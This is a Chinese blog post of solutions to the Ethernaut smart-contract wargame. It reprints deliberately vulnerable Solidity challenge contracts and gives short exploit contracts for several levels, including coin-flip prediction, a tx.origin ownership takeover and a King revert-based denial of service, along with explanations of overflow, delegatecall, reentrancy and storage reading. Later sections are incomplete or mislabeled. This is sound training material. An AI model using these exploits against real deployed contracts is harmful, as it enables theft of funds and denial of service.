Ethernaut刷题记录

踩坑记录

来自这里

可见修饰符

public

private

ethernaut

0.注意事项

  • @openzeppelin/contracts/math/SafeMath.sol 的地址已经迁移,做这个靶场的时候得自己手动改成"@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
  • 以太坊主网即将进行合并,Rinkeby测试网络将于一年后停止运行,到时候就不知道这个靶场是否还会继续运行
  • 不同版本的solidity语言特性不一样,可能会有兼容问题
  • Rinkeby的测试以太难以大量获取,做题不要一股脑把以太全塞进去了

1.Fallout

描述

1
2
3
4
5
6
7
8
9
10
11
12
13
这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?

实际上... 也未必.

Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 'Dynamic Pyramid' 改成 'Rubixi' 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:

contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...

这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

解:

扔到remix里面调用Fal1out()函数就行了

2.Coin Flip

描述

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

解:

以太坊网络经典难题:熵的产生

使用区块哈希产生的随机数很容易被预测(只需要和它在同一个区块上就行了),只需要写个中继合约打进去就行了(原来的合约基础之上改一点点就行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14

function exp() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
c = CoinFlip(targetAddress);
c.flip(side);
}

注意:
在某些预测随机数的题目中会返还以太,经常出现合约逻辑没有任何问题,但是就是运行出错的问题。

当合约收到一个calldata为空的call时,receive函数会被调用。这个函数会在执行一些以太币转账操作时被执行,常见的以太币转账操作包括.send().transfer()函数发起的转账。如果没有receive函数存在,但是存在一个payable属性的fallback函数的话,这个fallback函数会在一次以太币转账中被调用。如果一个合约既没有receive函数也没有payable属性的fallback函数,那么这个合约不能通过常规的交易来接收以太币,并且会抛出一个异常。

3.Telephone

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

解:

tx.orgin指的是交易的发起方,msg.sender是直接调用的一方,所以直接写合约调用这个函数就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.11;

interface Telephone {
function changeOwner(address _owner) external;
}

contract exploit {
address targetAddr;
Telephone t;
address myaddr;

function setInstance(address _targetAddr,address _myaddr) public {
targetAddr=_targetAddr;
myaddr= _myaddr;
}

function exp () public {
t = Telephone(targetAddr);
t.changeOwner(myaddr);
}
}

4.Token

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

解:

很easy 溢出就完事了转个 115792089237316195423570985008687907853269984665640564039457584007913129639935就行了

5. Delegation

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

解:

老生常谈, delegatecall相当于是去目标合约那块把相关的函数代码复制过来运行,而在solidity是个编译型语言,且存储使用的是slot[]这个大数组,变量是写死在代码里面的,一旦目标合约的变量环境和当前合约的变量环境不一样,就出大事,这题都做烂了,懒得写了

6.Force

描述

1
2
3
有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯

这一关的目标是使合约的余额大于0

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

解:

在Solidity里面,有个很特殊的自毁函数 selfdestruct(addr);
随便写个合约,塞进去一个selfdestruct函数,然后指向题目

7.Vault

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

直接getStorageAt就行了,直接看

8.King

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}


解:

1
2
3
4
5
6
7
8
9
10
11
contract Attack {

constructor(address payable target) public payable{
require(msg.value == 0.15 ether,"Not enough!");
target.call.gas(1000000).value(0.15 ether)("");
}

receive() external payable {
revert();
}
}

当submit题目打算回收“王权”时,它运行到king.transfer(msg.value);这一行时,由于king就是我们合约的地址,而我们合约的receive函数会执行revert,因此它会卡在这个状态无法执行,从而无法取回王权。

这个漏洞在实际合约中被用revert来执行DDos,让程序卡在某个状态无法运行。

麻了,在写攻击合约的时候又踩坑里了
https://blockchain-academy.hs-mittweida.de/courses/solidity-coding-beginners-to-intermediate/lessons/solidity-2-sending-ether-receiving-ether-emitting-events/topic/sending-ether-send-vs-transfer-vs-call/

  • transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:

    • 付款方合约的余额不足,小于所要发送的value
    • 接收方合约拒绝接收支付
  • send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。

  • call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:

    (bool success, bytes memory data) = receivingAddress.call{value: 100}(“”);
    将参数设置为空会触发接收合约的fallback函数,使用call同样也可以调用本合约内的函数,形式如下
    (bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256(“function_name(uint256)”,args)));

9.Re-entrancy

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

合约在进行提币时,使用 require 依次判断提币账户是否拥有相应的资产,随后使用 msg.sender.call.value(amount)() 来发送 Ether,处理完成后相应修改用户资产数据。

首先,使用call进行转账是个比较危险的操作,因为call会将当前剩下的gas一并发过去,这就导致目标合约在发送以太过去后会有足够的gas运行攻击合约里的receive函数,而攻击合约里的receive又会去调用目标合约里的转账函数,此时目标合约里记录转账的变量还未被修改,因此又可以继续转账然后如此往复。

10.Elevator

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

目标是让top变为true,只需要返回不同结果就可以了

继承抽象合约,然后写函数就完事了。

11.Privacy

很简单的题目,想在区块链上保护自己的隐私,太离谱了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

解:

根据slot插槽,确定数据在哪里

1
2
3
4
5
6
slot[0]  |                                                                               (bool locked)|
slot[1] |(uint256 ID )|
slot[2] | (unit 16 awkwardness)(uint8 denomination)(unit8 flattening)|
slot[3] |(bytes32[0] )|
slot[4] |(bytes32[1] )|
slot[5] |(bytes32[2] )|

合约中要求require(_key == bytes16(data[2]));

只需要web3.eth.getStroageAt(contract.address,5)然后截取结果的前32位发过去就行了

12. Gatekeeper One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

解:

gateOne()

这个好过,写个合约就行了

gateTwo()

这个也好过….?应该?,中继合约里面.call限制一下数字?

13.Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

解:

你写你的,我用我的

ERC20有自己的转账函数,咱为啥用他的转账函数呢?

16.

delegate过

17. Recovery

作者

UPON2021

发布于

2022-10-04

更新于

2022-11-09

许可协议

评论

:D 一言句子获取中...

加载中,最新评论有1分钟缓存...